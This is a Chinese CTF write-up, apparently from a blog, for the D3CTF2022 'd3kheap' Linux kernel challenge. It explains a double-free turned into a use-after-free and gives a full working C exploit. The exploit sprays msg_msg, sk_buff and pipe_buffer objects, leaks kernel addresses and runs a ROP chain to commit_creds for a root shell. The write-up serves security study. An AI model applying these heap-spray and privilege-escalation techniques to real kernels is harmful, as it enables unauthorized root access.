欢迎光临
我们一直在努力

D3CTF2022-Pwn-d3kheap题解

0x00.一切开始之前

今年 D3CTF 的一道 kernel pwn 题,赛后笔者仔细研究了下,相比起出题人最初提供的使用 setxattr 多次篡改 msg_msg 的方法而言,这道题其实还可以套用 CVE-2021-22555 的堆喷 msg_msgsk_buff 的解法,成功率更高也更加稳定

0x01.题目分析

题目还是按惯例给了一个内核模块,其中只有 ioctl 功能是有用的,简单分析可以知道其中有用的仅为 0x12340xdead 两个功能,对应着分配 buf 与释放 buf,在分配时会先判断 buf 是否为 NULL 因此我们不能重复分配,完成分配后 ref_count 会加一,而在释放时 ref_count 会减一

漏洞其实就出现在这里,其判断 buf 是否被释放依靠的是 reff_count 而并非 buf 指针,且在释放后未将 buf 置 NULL,而 ref_count 被错误地初始化为 1,这使得我们可以释放 buf 两次

0x02.漏洞利用

因为在 slub_free 中有着对 double free 的简单检查(类似于 glibc 中的 fastbin,会检查 freelist 指向的第一个 object),因此我们不能够直接进行 double free,而应该将其转化为 UAF 进行利用

Pre. 构造 UAF

我们首先需要构造一个 UAF,我们不难想到如下利用链:

  • 分配一个 1024 大小的 object
  • 释放该 object
  • 将其分配到别的结构体(victim)上
  • 释放该 object

此时 victim 虽然还处在使用阶段,但是在 slub 中其同时也被视为一个 free object,我们此时便完成了 UAF 的构造,由于 slub 遵循 LIFO,因此接下来分配的第一个大小为 1024 的 object 便会是 victim

Step.I 堆喷 msg_msg ,建立主从消息队列

既然我们现在有了一个UAF的机会,那么选用什么样的结构体作为 victim 呢?这里我们选择使用 msg_msg 这一结构体:

/* one msg_msg structure for each message */
struct msg_msg {
    struct list_head m_list;
    long m_type;
    size_t m_ts;        /* message text size */
    struct msg_msgseg *next;
    void *security;
    /* the actual message follows immediately */
};

当我们在一个消息队列上发送多个消息时,会形成如下结构:

我们不难想到的是,我们可以在一开始时先通过 d3kheap 设备提供的功能先获取一个 object 后释放,之后堆喷多个消息队列,并分别在每一个消息队列上发送两条消息,形成如下内存布局,这里为了便利后续利用,第一条消息(主消息)的大小为 96,第二条消息(辅助消息)的大小为 0x400:

此时我们的辅助消息便有极大的概率获取到之前释放的 object

利用 MSG_COPY 标志位可以读取消息队列上的消息而不释放,参见这里

Step.II 构造 UAF,堆喷 sk_buff 定位 victim 队列

此时我们直接利用题目的功能将辅助消息释放掉,便能成功完成 UAF 的构建,此时我们仍能通过其中一个消息队列访问到该辅助消息对应 object,但实际上这个 object 已经在 freelist 上了

但此时我们无法得知是哪一个消息队列命中了 UAF object,这个时候我们选用 sk_buff 堆喷劫持该结构体

类似于 msg_msg,其同样可以提供近乎任意大小对象的分配写入与释放,但不同的是 msg_msg 由一个 header 加上用户数据组成,而 sk_buff 本身不包含任何用户数据,用户数据单独存放在一个 object 当中,而 sk_buff 中存放指向用户数据的指针

至于这个结构体的分配与释放也是十分简单,sk_buff 在内核网络协议栈中代表一个「包」,我们不难想到的是我们只需要创建一对 socket,在上面发送与接收数据包就能完成 sk_buff 的分配与释放,最简单的办法便是用 socketpair 系统调用创建一对 socket,之后对其 read & write 便能完成收发包的工作

那么我们利用 sk_buff 堆喷向这个 UAF object 中写入什么数据呢?其实这里我们可以随便写入一些内容,之后我们使用 MSG_COPY flag 进行消息拷贝时便会失败,但不会 kernel panic,因此我们可以通过判断是否读取消息失败来定位命中 UAF 的消息队列

Step.III 堆喷 sk_buff 伪造辅助消息,泄露 UAF obj 地址

接下来我们考虑如何继续利用这个 UAF,由于其位于消息队列上,所以我们可以利用消息队列的性质来完成利用

首先我们考虑如何通过伪造 msg_msg 结构体完成信息泄露,我们不难想到的是可以伪造一个 msg_msg 结构体,将其 m_ts 域设为一个较大值,从而越界读取到相邻辅助消息的 header,泄露出堆上地址

我们泄露出来的是哪个地址?让我们重新将目光放回到消息队列的结构上:

我们不难知道的是,该辅助消息的 prev 指针指向其主消息,而该辅助消息的 next 指针指向该消息队列的 msg_queue 结构,这是目前我们已知的两个“堆上地址”

接下来我们伪造 msg_msg->next将其指向我们的 UAF object 相邻的辅助消息对应的主消息头部往前,从而读出该主消息的头部,泄露出对应的辅助消息的地址,有了这个辅助消息的地址,再减去 0x400 便是我们的 UAF 对象的地址

通过伪造 msg_msg->next 可以完成任意地址读,参见这里

Step.IV 堆喷 pipe_buffer,泄露内核基址

现在我们已知了可控区域的地址,接下来让我们来考虑泄露内核 .text 段的基址,以及如何劫持 RIP 完成提权

之前我们为什么将辅助消息的大小设为 0x400?除了方便对齐以外,还有一层考虑就是这个大小刚好有一个十分实用的结构体 pipe_buffer 数组,既能帮我们泄露内核代码段基址,也能帮我们劫持 RIP

当我们创建一个管道时,在内核中会生成数个连续的 pipe_buffer 结构体,申请的内存总大小刚好会让内核从 kmalloc-1k 中取出一个 object

/**
 *  struct pipe_buffer - a linux kernel pipe buffer
 *  @page: the page containing the data for the pipe buffer
 *  @offset: offset of data inside the @page
 *  @len: length of data inside the @page
 *  @ops: operations associated with this buffer. See @pipe_buf_operations.
 *  @flags: pipe buffer flags. See above.
 *  @private: private data owned by the ops.
 **/
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

pipe_buffer 中存在一个函数表成员 pipe_buf_operations ,其指向内核中的函数表 anon_pipe_buf_ops,若我们能够将其读出,便能泄露出内核基址,操作如下:

  • 利用 sk_buff 修复辅助消息,之后从消息队列中接收该辅助消息,此时该 object 重回 slub 中,但 sk_buff 仍指向该 object
  • 喷射 pipe_buffer,之后再接收 sk_buff 数据包,我们便能读出 pipe_buffer 上数据,泄露内核基址

Step.V 伪造 pipe_buffer,构造 ROP,劫持 RIP,完成提权

当我们关闭了管道的两端时,会触发 pipe_buffer->pipe_buffer_operations->release 这一指针,而 UAF object 的地址对我们而言是已知的,因此我们可以直接利用 sk_buff 在 UAF object 上伪造函数表与构造 ROP chain,再选一条足够合适的 gadget 完成栈迁移便能劫持 RIP 完成提权

Final EXPLOIT

最终的 exp 如下:

#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#define PRIMARY_MSG_SIZE 96
#define SECONDARY_MSG_SIZE 0x400

#define PRIMARY_MSG_TYPE    0x41
#define SECONDARY_MSG_TYPE  0x42
#define VICTIM_MSG_TYPE     0x1337
#define MSG_TAG     0xAAAAAAAA

#define SOCKET_NUM 16
#define SK_BUFF_NUM 128
#define PIPE_NUM 256
#define MSG_QUEUE_NUM 4096

#define OBJ_ADD     0x1234
#define OBJ_EDIT    0x4321
#define OBJ_SHOW    0xbeef
#define OBJ_DEL     0xdead

#define PREPARE_KERNEL_CRED 0xffffffff810d2ac0
#define INIT_CRED 0xffffffff82c6d580
#define COMMIT_CREDS 0xffffffff810d25c0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0
#define POP_RDI_RET 0xffffffff810938f0
#define ANON_PIPE_BUF_OPS 0xffffffff8203fe40
#define FREE_PIPE_INFO 0xffffffff81327570
#define POP_R14_POP_RBP_RET 0xffffffff81003364
#define PUSH_RSI_POP_RSP_POP_4VAL_RET 0xffffffff812dbede
#define CALL_RSI_PTR 0xffffffff8105acec

size_t user_cs, user_ss, user_sp, user_rflags;
size_t kernel_offset, kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred;

long dev_fd;
int pipe_fd[2], pipe_fd2[2], pipe_fd_1;

/*
 * skb_shared_info need to take 320 bytes at the tail
 * so the max size of buf we should send is:
 * 1024 - 320 = 704
 */
char fake_secondary_msg[704];

void add(void)
{
    ioctl(dev_fd, OBJ_ADD);
}

void del(void)
{
    ioctl(dev_fd, OBJ_DEL);
}

size_t user_cs, user_ss, user_sp, user_rflags;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

struct list_head
{
    uint64_t    next;
    uint64_t    prev;
};

struct msg_msg
{
    struct list_head m_list;
    uint64_t    m_type;
    uint64_t    m_ts;
    uint64_t    next;
    uint64_t    security;
};

struct msg_msgseg
{
    uint64_t    next;
};

struct 
{
    long mtype;
    char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)];
}primary_msg;

struct 
{
    long mtype;
    char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)];
}secondary_msg;

struct
{
    long mtype;
    char mtext[0x1000 - sizeof(struct msg_msg) + 0x1000 - sizeof(struct msg_msgseg)];
} oob_msg;

struct pipe_buffer
{
    uint64_t    page;
    uint32_t    offset, len;
    uint64_t    ops;
    uint32_t    flags;
    uint32_t    padding;
    uint64_t    private;
};

struct pipe_buf_operations
{
    uint64_t    confirm;
    uint64_t    release;
    uint64_t    try_steal;
    uint64_t    get;
};

void errExit(char *msg)
{
    printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg);
    exit(EXIT_FAILURE);
}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0);
}

int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    *(long*)msgp = msgtyp;
    return msgsnd(msqid, msgp, msgsz - sizeof(long), 0);
}

int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
    return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT);
}

void buildMsg(struct msg_msg *msg, uint64_t m_list_next,
    uint64_t m_list_prev, uint64_t m_type, uint64_t m_ts, 
    uint64_t next, uint64_t security)
{
    msg->m_list.next = m_list_next;
    msg->m_list.prev = m_list_prev;
    msg->m_type = m_type;
    msg->m_ts = m_ts;
    msg->next = next;
    msg->security = security;
}

int spraySkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
    for (int i = 0; i < SOCKET_NUM; i++)
        for (int j = 0; j < SK_BUFF_NUM; j++)
        {
            // printf("[-] now %d, num %d\n", i, j);
            if (write(sk_socket[i][0], buf, size) < 0)
                return -1;
        }
    return 0;
}

int freeSkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
    for (int i = 0; i < SOCKET_NUM; i++)
        for (int j = 0; j < SK_BUFF_NUM; j++)
            if (read(sk_socket[i][1], buf, size) < 0)
                return -1;
    return 0;
}

void getRootShell(void)
{
    if (getuid())
        errExit("failed to gain the root!");

    printf("\033[32m\033[1m[+] Succesfully gain the root privilege, trigerring root shell now...\033[0m\n");
    system("/bin/sh");
}

int main(int argc, char **argv, char **envp)
{
    int         oob_pipe_fd[2];
    int         sk_sockets[SOCKET_NUM][2];
    int         pipe_fd[PIPE_NUM][2];
    int         msqid[MSG_QUEUE_NUM];
    int         victim_qid, real_qid;
    struct msg_msg  *nearby_msg;
    struct msg_msg  *nearby_msg_prim;
    struct pipe_buffer *pipe_buf_ptr;
    struct pipe_buf_operations *ops_ptr;
    uint64_t    victim_addr;
    uint64_t    kernel_base;
    uint64_t    kernel_offset;
    uint64_t    *rop_chain;
    int         rop_idx;
    cpu_set_t   cpu_set;

    saveStatus();

    /*
     * Step.O
     * Initialization
     */

    // run the exp on specific core only
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    // socket pairs to spray sk_buff
    for (int i = 0; i < SOCKET_NUM; i++)
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0)
            errExit("failed to create socket pair!");

    dev_fd = open("/dev/d3kheap", O_RDONLY);

    /*
     * Step.I
     * build msg_queue, spray primary and secondary msg_msg,
     * and use OOB write to construct the overlapping
     */
    puts("\n\033[34m\033[1m[*] Step.I spray msg_msg, construct overlapping object\033[0m");

    puts("[*] Build message queue...");
    // build 4096 message queue
    for (int i = 0; i < MSG_QUEUE_NUM; i++)
    {
        if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0)
            errExit("failed to create msg_queue!");
    }

    puts("[*] Spray primary and secondary msg_msg...");

    memset(&primary_msg, 0, sizeof(primary_msg));
    memset(&secondary_msg, 0, sizeof(secondary_msg));

    // get a free object
    add();

    // spray primary and secondary message
    for (int i = 0; i < MSG_QUEUE_NUM; i++)
    {
        *(int *)&primary_msg.mtext[0] = MSG_TAG;
        *(int *)&primary_msg.mtext[4] = i;
        if (writeMsg(msqid[i], &primary_msg, 
                sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0)
            errExit("failed to send primary msg!");

        *(int *)&secondary_msg.mtext[0] = MSG_TAG;
        *(int *)&secondary_msg.mtext[4] = i;
        if (writeMsg(msqid[i], &secondary_msg, 
                sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0)
            errExit("failed to send secondary msg!");

        if (i == 1024)
            del();
    }

    /*
     * Step.II
     * construct UAF
     */
    puts("\n\033[34m\033[1m[*] Step.II construct UAF\033[0m");

    // free the victim secondary msg_msg, then we get a UAF
    puts("[*] Trigger UAF...");
    del();

    // spray sk_buff to mark the UAF msg_msg
    puts("[*] spray sk_buff...");
    buildMsg((struct msg_msg *)fake_secondary_msg, 
            *(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3", 
            *(uint64_t*)"arttnba3", SECONDARY_MSG_SIZE, 0, 0);
    if (spraySkBuff(sk_sockets, fake_secondary_msg, 
            sizeof(fake_secondary_msg)) < 0)
        errExit("failed to spray sk_buff!");

    // find out the UAF queue
    victim_qid = -1;
    for (int i = 0; i < MSG_QUEUE_NUM; i++)
    {
        /*
         * the msg_msg got changed, so we can't read out
         * but it tells us which one the victim is
        */
        if (peekMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), 1) < 0)
        {
            printf("[+] victim qid: %d\n", i);
            victim_qid = i;
        }
    }

    if (victim_qid == -1)
        errExit("failed to make the UAF in msg queue!");

    if (freeSkBuff(sk_sockets, fake_secondary_msg, 
            sizeof(fake_secondary_msg)) < 0)
        errExit("failed to release sk_buff!");

    puts("\033[32m\033[1m[+] UAF construction complete!\033[0m");

    /*
     * Step.III
     * spray sk_buff to leak msg_msg addr
     * construct fake msg_msg to leak addr of UAF obj
     */
    puts("\n\033[34m\033[1m[*] Step.III spray sk_buff to leak kheap addr\033[0m");

    // spray sk_buff to construct fake msg_msg
    puts("[*] spray sk_buff...");
    buildMsg((struct msg_msg *)fake_secondary_msg, 
            *(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3", 
            VICTIM_MSG_TYPE, 0x1000 - sizeof(struct msg_msg), 0, 0);
    if (spraySkBuff(sk_sockets, fake_secondary_msg, 
            sizeof(fake_secondary_msg)) < 0)
        errExit("failed to spray sk_buff!");

    // use fake msg_msg to read OOB
    puts("[*] OOB read from victim msg_msg");
    if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0)
        errExit("failed to read victim msg!");

    if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG)
        errExit("failed to rehit the UAF object!");

    nearby_msg = (struct msg_msg*) 
            &oob_msg.mtext[(SECONDARY_MSG_SIZE) - sizeof(struct msg_msg)];

    printf("\033[32m\033[1m[+] addr of primary msg of msg nearby victim: \033[0m%llx\n", 
            nearby_msg->m_list.prev);

    // release and re-spray sk_buff to construct fake msg_msg
    // so that we can make an arbitrary read on a primary msg_msg
    if (freeSkBuff(sk_sockets, fake_secondary_msg, 
            sizeof(fake_secondary_msg)) < 0)
        errExit("failed to release sk_buff!");

    buildMsg((struct msg_msg *)fake_secondary_msg, 
            *(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3", 
            VICTIM_MSG_TYPE, sizeof(oob_msg.mtext), 
            nearby_msg->m_list.prev - 8, 0);
    if (spraySkBuff(sk_sockets, fake_secondary_msg, 
            sizeof(fake_secondary_msg)) < 0)
        errExit("failed to spray sk_buff!");

    puts("[*] arbitrary read on primary msg of msg nearby victim");
    if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0)
        errExit("failed to read victim msg!");

    if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG)
        errExit("failed to rehit the UAF object!");

    // cal the addr of UAF obj by the header we just read out
    nearby_msg_prim = (struct msg_msg*) 
            &oob_msg.mtext[0x1000 - sizeof(struct msg_msg)];
    victim_addr = nearby_msg_prim->m_list.next - 0x400;

    printf("\033[32m\033[1m[+] addr of msg next to victim: \033[0m%llx\n", 
            nearby_msg_prim->m_list.next);
    printf("\033[32m\033[1m[+] addr of msg UAF object: \033[0m%llx\n", victim_addr);

    /*
     * Step.IV
     * fix the header of UAF obj and release it
     * spray pipe_buffer and leak the kernel base
     */
    puts("\n\033[34m\033[1m[*] Step.IV spray pipe_buffer to leak kernel base\033[0m");

    // re-construct the msg_msg to fix it
    puts("[*] fixing the UAF obj as a msg_msg...");
    if (freeSkBuff(sk_sockets, fake_secondary_msg, 
            sizeof(fake_secondary_msg)) < 0)
        errExit("failed to release sk_buff!");

    memset(fake_secondary_msg, 0, sizeof(fake_secondary_msg));
    buildMsg((struct msg_msg *)fake_secondary_msg, 
            victim_addr + 0x800, victim_addr + 0x800, // a valid kheap addr is valid
            VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE - sizeof(struct msg_msg), 
            0, 0);
    if (spraySkBuff(sk_sockets, fake_secondary_msg, 
            sizeof(fake_secondary_msg)) < 0)
        errExit("failed to spray sk_buff!");

    // release UAF obj as secondary msg
    puts("[*] release UAF obj in message queue...");
    if (readMsg(msqid[victim_qid], &secondary_msg, 
                sizeof(secondary_msg), VICTIM_MSG_TYPE) < 0)
        errExit("failed to receive secondary msg!");

    // spray pipe_buffer
    puts("[*] spray pipe_buffer...");
    for (int i = 0; i < PIPE_NUM; i++)
    {
        if (pipe(pipe_fd[i]) < 0)
            errExit("failed to create pipe!");

        // write something to activate it
        if (write(pipe_fd[i][1], "arttnba3", 8) < 0)
            errExit("failed to write the pipe!");
    }

    // release the sk_buff to read pipe_buffer, leak kernel base
    puts("[*] release sk_buff to read pipe_buffer...");
    pipe_buf_ptr = (struct pipe_buffer *) &fake_secondary_msg;
    for (int i = 0; i < SOCKET_NUM; i++)
    {
        for (int j = 0; j < SK_BUFF_NUM; j++)
        {
            if (read(sk_sockets[i][1], &fake_secondary_msg, 
                    sizeof(fake_secondary_msg)) < 0)
                errExit("failed to release sk_buff!");

            if (pipe_buf_ptr->ops > 0xffffffff81000000)
            {
                printf("\033[32m\033[1m[+] got anon_pipe_buf_ops: \033[0m%llx\n", 
                        pipe_buf_ptr->ops);
                kernel_offset = pipe_buf_ptr->ops - ANON_PIPE_BUF_OPS;
                kernel_base = 0xffffffff81000000 + kernel_offset;
            }
        }
    }

    printf("\033[32m\033[1m[+] kernel base: \033[0m%llx \033[32m\033[1moffset: \033[0m%llx\n", 
            kernel_base, kernel_offset);

    /*
     * Step.V
     * hijack the ops of pipe_buffer
     * free all pipe to trigger fake ptr
     * so that we hijack the RIP
     * construct a ROP on pipe_buffer
     */
    puts("\n\033[34m\033[1m[*] Step.V hijack the ops of pipe_buffer, gain root privilege\033[0m");

    puts("[*] pre-construct data in userspace...");
    pipe_buf_ptr = (struct pipe_buffer *) fake_secondary_msg;
    pipe_buf_ptr->page = *(uint64_t*) "arttnba3";
    pipe_buf_ptr->ops = victim_addr + 0x100;

    ops_ptr = (struct pipe_buf_operations *) &fake_secondary_msg[0x100];
    ops_ptr->release = PUSH_RSI_POP_RSP_POP_4VAL_RET + kernel_offset;

    rop_idx = 0;
    rop_chain = (uint64_t*) &fake_secondary_msg[0x20];
    rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET;
    rop_chain[rop_idx++] = kernel_offset + INIT_CRED;
    rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS;
    rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22;
    rop_chain[rop_idx++] = *(uint64_t*) "arttnba3";
    rop_chain[rop_idx++] = *(uint64_t*) "arttnba3";
    rop_chain[rop_idx++] = getRootShell;
    rop_chain[rop_idx++] = user_cs;
    rop_chain[rop_idx++] = user_rflags;
    rop_chain[rop_idx++] = user_sp;
    rop_chain[rop_idx++] = user_ss;

    puts("[*] spray sk_buff to hijack pipe_buffer...");
    if (spraySkBuff(sk_sockets, fake_secondary_msg, 
            sizeof(fake_secondary_msg)) < 0)
        errExit("failed to spray sk_buff!");

    // for gdb attach only
    printf("[*] gadget: %p\n", kernel_offset + PUSH_RSI_POP_RSP_POP_4VAL_RET);
    printf("[*] free_pipe_info: %p\n", kernel_offset + FREE_PIPE_INFO);
    sleep(5);

    puts("[*] trigger fake ops->release to hijack RIP...");
    for (int i = 0; i < PIPE_NUM; i++)
    {
        close(pipe_fd[i][0]);
        close(pipe_fd[i][1]);
    }
}

运行即可完成提权,相较于官方最初给出的解法而言成功率会高很多,据悉解出来的队伍中大部分也是利用这种解法完成解题

未经允许不得转载:Caldow » D3CTF2022-Pwn-d3kheap题解
分享到: 生成海报

切换注册

登录

忘记密码 ?

切换登录

注册

我们将发送一封验证邮件至你的邮箱, 请正确填写以完成账号注册和激活